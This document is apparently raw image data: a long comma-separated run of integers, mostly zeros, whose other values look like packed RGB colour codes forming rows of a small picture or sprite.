,0,0,0,0,0,0,0,0,0,591877,14394399,16315366,15577118,15576602,14655760,854529,854529,14655760,15510289,15510289,15181841,14327312,525825,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1907997,15527658,15250732,6222672,15395365,15466113,15790311,1907997,14869218,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,592137,14869218,921102,460038,7475271,1115401,14369891,918792,196610,0,0,0,328965,921102,14869218,592137,0,0,0,0,0,0,0,0,786946,13509154,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14430256,16643059,16777215,16643059,14430256,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,13509154,786946,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14869218,921102,14869218,921102,921102,921102,921102,921102,14869218,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,1183754,15986661,15577379,16643812,15510805,14655760,854529,854529,14655760,15510289,15510289,15510289,14918672,1182977,328448,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1579032,15131614,15462118,15462111,15462626,15790311,15132642,1579032,14869218,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14869218,789003,460038,721926,14055032,590852,0,0,0,328965,592137,14869218,592137,328965,0,0,0,0,0,0,0,262401,1049347,13706019,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14430256,16643059,16777215,16643059,14430256,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,13706019,1049347,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14869218,592137,592137,592137,14869218,14869218,14869218,14869218,14869218,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,591877,15460061,15314724,16644073,15576602,15510805,14655760,854529,854529,14655760,15510289,15510289,15510289,15181841,14327312,525825,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,1250067,592137,921102,921102,921102,921102,592137,1250067,14869218,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14869218,921102,920588,591623,328451,0,328965,592137,921102,14869218,592137,328965,0,0,0,0,0,0,0,0,524545,13246753,14033699,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14430256,16643059,16777215,16643059,14430256,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14033699,13246753,524545,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14869218,592137,328965,0,328965,592137,921102,921102,921102,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328448,1183754,14985761,16644073,15576602,15510805,15510289,14655760,854529,854529,14655760,15510289,15510289,15510289,15510289,14787087,1051393,197120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,921102,0,0,0,0,0,0,921102,14869218,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,328965,328965,0,0,0,0,0,328965,592137,14869218,14869218,921102,921102,921102,921102,15198183,15527148,1579032,1250067,592137,328965,0,0,0,0,0,0,0,786946,13509154,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14430256,16643059,16777215,16643059,14430256,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,13509154,786946,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14869218,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,591877,14394399,16315366,15577118,15576602,15510289,15510289,14655760,854529,854529,14655760,15510289,15510289,15510289,15510289,14984464,10116354,393984,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,15198183,1579032,921102,921102,921102,921102,921102,921102,1579032,15198183,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,14540253,592137,328965,0,0,0,0,0,328965,592137,921102,14869218,15198183,15527148,15856113,1907997,15527148,15198183,14869218,14869218,592137,328965,0,0,0,0,0,0,786946,13509154,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14430256,16643059,16777215,16643059,14430256,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,13509154,786946,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,14540253,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,1183754,15986661,15577379,16643812,15510805,15510289,15510289,14655760,854529,854529,14655760,15510289,15510289,15510289,15510289,15246864,10378753,788224,197120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,592137,14869218,15198183,14869218,14869218,14869218,14869218,14869218,14869218,15198183,14869218,592137,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14869218,592137,328965,0,0,0,0,0,328965,921102,1579032,1907997,16119285,15856113,15527148,921102,921102,921102,921102,14869218,921102,921102,592137,328965,0,0,0,786946,13509154,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14430256,16643059,16777215,16643059,14430256,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,13509154,786946,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,328965,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,591877,15460061,15314724,16644073,15576602,15510805,15510289,15510289,14655760,854529,854529,14655760,15510289,15510289,15510289,15510289,15312912,10641665,9787393,393984,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,921102,921102,921102,921102,921102,921102,921102,921102,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14869218,592137,328965,0,0,328965,592137,921102,14869218,14869218,14869218,1250067,15527148,1250067,592137,0,0,328965,592137,14869218,14869218,14540253,328965,0,0,0,786946,13509154,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14430256,16643059,16777215,16643059,14430256,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,13509154,786946,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328448,1183238,14985243,16643812,15576602,15510805,15510289,15510289,15510289,14655760,854529,854529,14655760,15510289,15510289,15510289,15510289,15378705,15115536,10247169,788224,197120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,921102,14869218,592137,0,328965,592137,14869218,14869218,921102,921102,592137,592137,921102,14869218,592137,0,0,0,328965,592137,921102,592137,328965,0,0,0,524545,13246753,14033699,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14430256,16643059,16777215,16643059,14430256,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14033699,13246753,524545,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,525825,14327312,15182358,15510805,15510805,15510289,15510289,15510289,15510289,14655760,854529,854529,14655760,15510289,15510289,15510289,15510289,15510289,15246864,10510081,9590016,393984,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,592137,14869218,921102,592137,592137,14869218,921102,592137,328965,0,0,328965,921102,14869218,592137,0,0,0,0,0,0,0,0,0,0,0,262401,1049347,13706019,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14363692,16509674,16643059,16509674,14363692,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,13706019,1049347,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328448,1182977,14918672,15510289,15510289,15510289,15510289,15510289,15510289,15510289,14655760,854529,854529,14655760,15510289,15510289,15510289,15510289,15510289,15246864,10641409,9984000,788224,197120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14869218,921102,14869218,592137,328965,0,0,0,328965,592137,14869218,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,786946,13509154,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14362664,14363692,14430256,14363692,14362664,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,13509154,786946,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,525825,14327312,15181841,15510289,15510289,15510289,15510289,15510289,15510289,15510289,14655760,854529,854529,14655760,15510289,15510289,15510289,15510289,15510289,15312912,10772993,10312704,9590016,393984,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14869218,592137,328965,0,0,0,0,592137,14869218,921102,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,524545,13246753,14033699,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14362664,14363692,14430256,14363692,14362664,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14033699,13246753,524545,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328448,1182977,14918672,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15510289,14918928,1445890,1445890,14918928,15510289,15510289,15510289,15510289,15510289,15378705,15115536,10575617,9984000,788224,197120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,328965,328965,0,0,0,0,0,921102,14869218,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,262401,1049347,13706019,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14363692,16509674,16643059,16509674,14363692,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,13706019,1049347,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,525825,14327312,15181841,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15181841,14918928,14918928,15181841,15510289,15510289,15510289,15510289,15510289,15510289,15246864,10641409,10181120,9590016,393984,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,14869218,921102,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,524545,13246753,14033699,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14430256,16643059,16777215,16643059,14430256,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14033699,13246753,524545,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328448,1182977,14918672,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15181841,14918928,14918928,15181841,15510289,15510289,15510289,15510289,15510289,15510289,15246864,10641409,10378240,9984000,788224,197120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,1250067,15527148,1250067,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,262401,786946,13509154,14033699,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14363692,16509674,16643059,16509674,14363692,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14033699,13509154,786946,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,525825,14327312,15181841,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15510289,14918928,1445890,1445890,14918928,15510289,15510289,15510289,15510289,15510289,15510289,15312912,10772993,10444032,10181120,9590016,393984,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,15527148,15527148,15198183,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,262401,1049347,13706019,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14362664,14363692,14430256,14363692,14362664,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,13706019,1049347,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328448,1182977,14918672,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15510289,14655760,854529,854529,14655760,15510289,15510289,15510289,15510289,15510289,15510289,15378705,15115536,10575617,10378240,9984000,788224,197120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,15198183,1579032,15527148,921102,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,524545,13246753,14033699,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14033699,13246753,524545,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,525825,14327312,15181841,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15510289,14918928,1445890,1445890,14918928,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15246864,10641409,10378240,10181120,9590016,393984,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,14869218,1250067,15198183,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,262401,786946,13246753,13706019,14033699,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14033699,13706019,13246753,786946,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328448,1182977,14918672,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15510289,15181841,14918928,14918928,15181841,15510289,15510289,15510289,15510289,15510289,15378705,15312912,15049743,10575617,10378240,10378240,9984000,788224,197120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,921102,1250067,15527148,921102,592137,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,262401,524545,1049347,13509154,14033699,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14033699,13509154,1049347,524545,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,460032,14064143,14852880,15246864,15246864,15246864,15246864,15246864,15246864,15246864,15246864,15246864,15246864,15246864,15246864,15246864,15246864,15246864,15246864,15246864,15246864,15246864,15246864,15115536,10772993,10575617,10444032,10378240,10378240,10181120,9590016,393984,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14869218,14869218,921102,14869218,921102,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,262401,786946,13246753,13706019,14033699,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14296100,14033699,13706019,13246753,786946,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,656896,10050305,10641409,10641409,10641409,10641409,10641409,10641409,10641409,10641409,10641409,10641409,10641409,10641409,10641409,10641409,10641409,10641409,10641409,10641409,10641409,10641409,10641409,10575617,10444032,10378240,10378240,10378240,10378240,10378240,9787136,591104,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,14869218,921102,592137,592137,592137,14869218,14540253,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,262401,524545,1049347,13246753,13509154,13706019,14033699,14296100,14296100,14296100,14296100,14033699,13706019,13509154,13246753,1049347,524545,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,393984,9590016,10181120,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10378240,10181120,9590016,393984,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,14540253,592137,328965,0,0,328965,592137,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,262401,524545,786946,1049347,13246753,13509154,13509154,13509154,13509154,13246753,1049347,786946,524545,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,197120,591104,9590016,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9787136,9590016,591104,197120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,592137,921102,921102,921102,921102,921102,921102,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,328965,328965,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,262401,524545,786946,786946,786946,786946,524545,262401,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,197120,393984,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,591104,393984,197120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,592137,14869218,15198183,14869218,14869218,14869218,15198183,15198183,15198183,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,921102,15198183,1579032,921102,921102,921102,1579032,15527148,1579032,14869218,592137,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,